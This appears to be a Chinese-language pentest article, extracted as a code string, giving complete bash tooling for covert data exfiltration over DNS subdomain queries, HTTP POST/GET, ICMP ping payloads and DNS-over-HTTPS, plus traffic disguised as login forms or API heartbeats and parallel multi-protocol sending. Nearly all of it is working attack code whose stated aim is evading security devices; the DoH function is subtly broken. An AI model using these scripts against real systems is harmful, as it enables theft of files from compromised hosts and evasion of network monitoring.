, """# 数据外传:DNS/HTTP/ICMP隧道
概述
数据外传(Exfiltration)是渗透测试中将目标系统数据安全传回攻击者控制环境的关键步骤。本文详细介绍利用 DNS、HTTP、ICMP 协议进行隐蔽数据传输的 bash 实现方案。
核心理念
- 隐蔽性优先:选择不容易被安全设备检测的传输方式
- 可靠性保证:确保数据完整传输,支持断点续传
- 加密传输:对外传数据进行加密保护
- 流量伪装:模拟正常业务流量特征
1. DNS 隧道数据外传
1.1 DNS 隧道原理
DNS 隧道将数据编码后嵌入 DNS 查询请求中,通过 DNS 服务器中转实现数据传输。由于大多数网络环境允许 DNS 流量出站,这种方式具有极强的穿透性。
1.2 基础 DNS 外传脚本
#!/usr/bin/env bash
# DNS 数据外传工具
set -euo pipefail
RED='\\033[0;31m'; GREEN='\\033[0;32m'; BLUE='\\033[0;34m'; NC='\\033[0m'
log_info() { echo -e "${BLUE}[*]${NC} $*"; }
log_success() { echo -e "${GREEN}[+]${NC} $*"; }
log_error() { echo -e "${RED}[-]${NC} $*" >&2; }
DOMAIN="" FILE="" CHUNK_SIZE=60 DELAY=0.1 VERBOSE=false
encode_data() {
local data="$1"
echo -n "$data" | base64 | tr '+/' '-_' | tr -d '='
}
send_dns_query() {
local subdomain="$1" domain="$2"
local full_domain="${subdomain}.${domain}"
[[ "$VERBOSE" == true ]] && log_info "查询: $full_domain"
dig +short "$full_domain" A >/dev/null 2>&1 || true
nslookup "$full_domain" >/dev/null 2>&1 || true
sleep "$DELAY"
}
chunk_file() {
local file="$1" chunk_size="$2"
local total_chunks chunk_num=0
total_chunks=$(($(wc -c < "$file") / chunk_size + 1))
log_info "文件分块: ${total_chunks} 个块"
while IFS= read -r -n "$chunk_size" chunk; do
((chunk_num++))
log_info "发送块 ${chunk_num}/${total_chunks}"
local encoded
encoded=$(encode_data "$chunk")
send_dns_query "$encoded" "$DOMAIN"
done < "$file"
}
transfer_file() {
local file="$1" domain="$2"
[[ ! -f "$file" ]] && { log_error "文件不存在: $file"; return 1; }
local filename filesize md5
filename=$(basename "$file")
filesize=$(wc -c < "$file")
md5=$(md5sum "$file" | awk '{print $1}')
local header="${filename}:${filesize}:${md5}"
local encoded_header
encoded_header=$(encode_data "$header")
log_info "发送文件头: $header"
send_dns_query "H${encoded_header}" "$domain"
chunk_file "$file" "$CHUNK_SIZE"
send_dns_query "END${md5}" "$domain"
log_success "文件传输完成: $file"
}
main() {
while [[ $# -gt 0 ]]; do
case "$1" in
-d|--domain) DOMAIN="$2"; shift 2 ;;
-f|--file) FILE="$2"; shift 2 ;;
-c|--chunk) CHUNK_SIZE="$2"; shift 2 ;;
-D|--delay) DELAY="$2"; shift 2 ;;
-v|--verbose) VERBOSE=true; shift ;;
*) shift ;;
esac
done
[[ -z "$DOMAIN" ]] && { log_error "必须指定域名"; exit 1; }
[[ -z "$FILE" ]] && { log_error "必须指定文件"; exit 1; }
transfer_file "$FILE" "$DOMAIN"
}
main "$@"1.3 DNS 数据接收端
setup_dns_server() {
local listen_port="${1:-5353}"
local output_dir="${2:-/tmp/exfil}"
mkdir -p "$output_dir"
log_info "启动 DNS 监听端口 $listen_port..."
while true; do
socat UDP-LISTEN:"$listen_port",reuseaddr,fork \\
SYSTEM:'echo "$(date +%Y-%m-%d\\ %H:%M:%S) $(cat)" >> '"$output_dir"'/dns_log.txt'
done
}
parse_dns_log() {
local log_file="$1"
awk '{print $NF}' "$log_file" | sed 's/\\./\\n/g' | head -n -1 | base64 -d 2>/dev/null
}2. HTTP 外传
2.1 HTTP POST 外传
exfil_http_post() {
local file="$1" url="$2"
local filename
filename=$(basename "$file")
log_info "HTTP POST 外传: $file -> $url"
local response
response=$(curl -s -o /dev/null -w "%{http_code}" \\
-X POST -F "file=@${file}" -F "name=${filename}" \\
--max-time 30 "$url" 2>/dev/null) || true
[[ "$response" =~ ^(200|201)$ ]] && { log_success "外传成功"; return 0; }
log_error "外传失败 (HTTP $response)"
return 1
}2.2 HTTP GET 外传
exfil_http_get() {
local data="$1" url="$2"
local encoded
encoded=$(echo -n "$data" | base64 | tr -d '\\n')
local chunk_size=200 total=${#encoded} offset=0
while (( offset < total )); do
local chunk="${encoded:$offset:$chunk_size}"
curl -s -o /dev/null "${url}?d=${chunk}&o=${offset}" 2>/dev/null || true
((offset += chunk_size))
sleep 0.05
done
}2.3 HTTPS 加密外传
exfil_https() {
local file="$1" url="$2"
local response
response=$(curl -s -o /dev/null -w "%{http_code}" \\
-X POST -F "data=@${file}" --max-time 60 -k \\
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \\
"$url" 2>/dev/null) || true
[[ "$response" =~ ^(200|201)$ ]] && return 0 || return 1
}3. ICMP 隧道
ICMP_SEQ=0 DELAY=0.05
encode_icmp_data() {
local data="$1"
echo -n "$data" | base64 | tr -d '\\n'
}
send_icmp_packet() {
local target="$1" data="$2"
((ICMP_SEQ++))
local hex_data
hex_data=$(echo -n "$data" | xxd -p | tr -d '\\n')
ping -c 1 -p "${hex_data:0:48}" -W 1 "$target" >/dev/null 2>&1 || true
sleep "$DELAY"
}
exfil_icmp() {
local file="$1" target="$2" chunk_size=32
[[ ! -f "$file" ]] && { log_error "文件不存在"; return 1; }
local filename filesize md5
filename=$(basename "$file")
filesize=$(wc -c < "$file")
md5=$(md5sum "$file" | awk '{print $1}')
log_info "ICMP 隧道外传: $file -> $target"
send_icmp_packet "$target" "H:${filename}:${filesize}:${md5}"
local offset=0
while (( offset < filesize )); do
local chunk
chunk=$(dd if="$file" bs=1 skip="$offset" count="$chunk_size" 2>/dev/null)
local encoded
encoded=$(encode_icmp_data "$chunk")
log_info "发送偏移 $offset / $filesize"
send_icmp_packet "$target" "D:${offset}:${encoded}"
((offset += chunk_size))
done
send_icmp_packet "$target" "E:${md5}"
log_success "ICMP 外传完成"
}4. 高级隐蔽通道
4.1 DNS-over-HTTPS 外传
doh_exfil() {
local data="$1" doh_server="${2:-https://1.1.1.1/dns-query}" domain="$3"
local encoded
encoded=$(echo -n "$data" | base64 | tr -d '\\n')
curl -s -o /dev/null \\
-H "Content-Type: application/dns-message" \\
--data-binary "@${encoded}.${domain}" \\
"$doh_server" 2>/dev/null || true
}4.2 流量伪装
disguised_exfil() {
local data="$1" target_url="$2"
local form_data="username=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$data'))")&password=placeholder&action=login"
curl -s -o /dev/null \\
-X POST -H "Content-Type: application/x-www-form-urlencoded" \\
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \\
-d "$form_data" "$target_url" 2>/dev/null || true
}
api_disguised_exfil() {
local data="$1" target_url="$2"
local json_payload="{\\\"action\\\":\\\"heartbeat\\\",\\\"client_id\\\":\\\"$(echo "$data" | base64)\\\",\\\"timestamp\\\":$(date +%s)}"
curl -s -o /dev/null \\
-X POST -H "Content-Type: application/json" \\
-d "$json_payload" "$target_url" 2>/dev/null || true
}4.3 多协议冗余传输
redundant_exfil() {
local file="$1" dns_domain="$2" http_url="$3" icmp_target="$4"
log_info "启动多协议冗余传输..."
(transfer_file "$file" "$dns_domain") &
(exfil_http_post "$file" "$http_url") &
(exfil_icmp "$file" "$icmp_target") &
wait
log_success "多协议传输完成"
}总结
本文介绍了 DNS/HTTP/ICMP 三种隧道数据外传技术的 bash 实现,包括 DNS 隧道编码传输、HTTP POST/GET/HTTPS 外传、ICMP 数据封装,以及 DoH、流量伪装和多协议冗余等高级隐蔽通道技术。
"""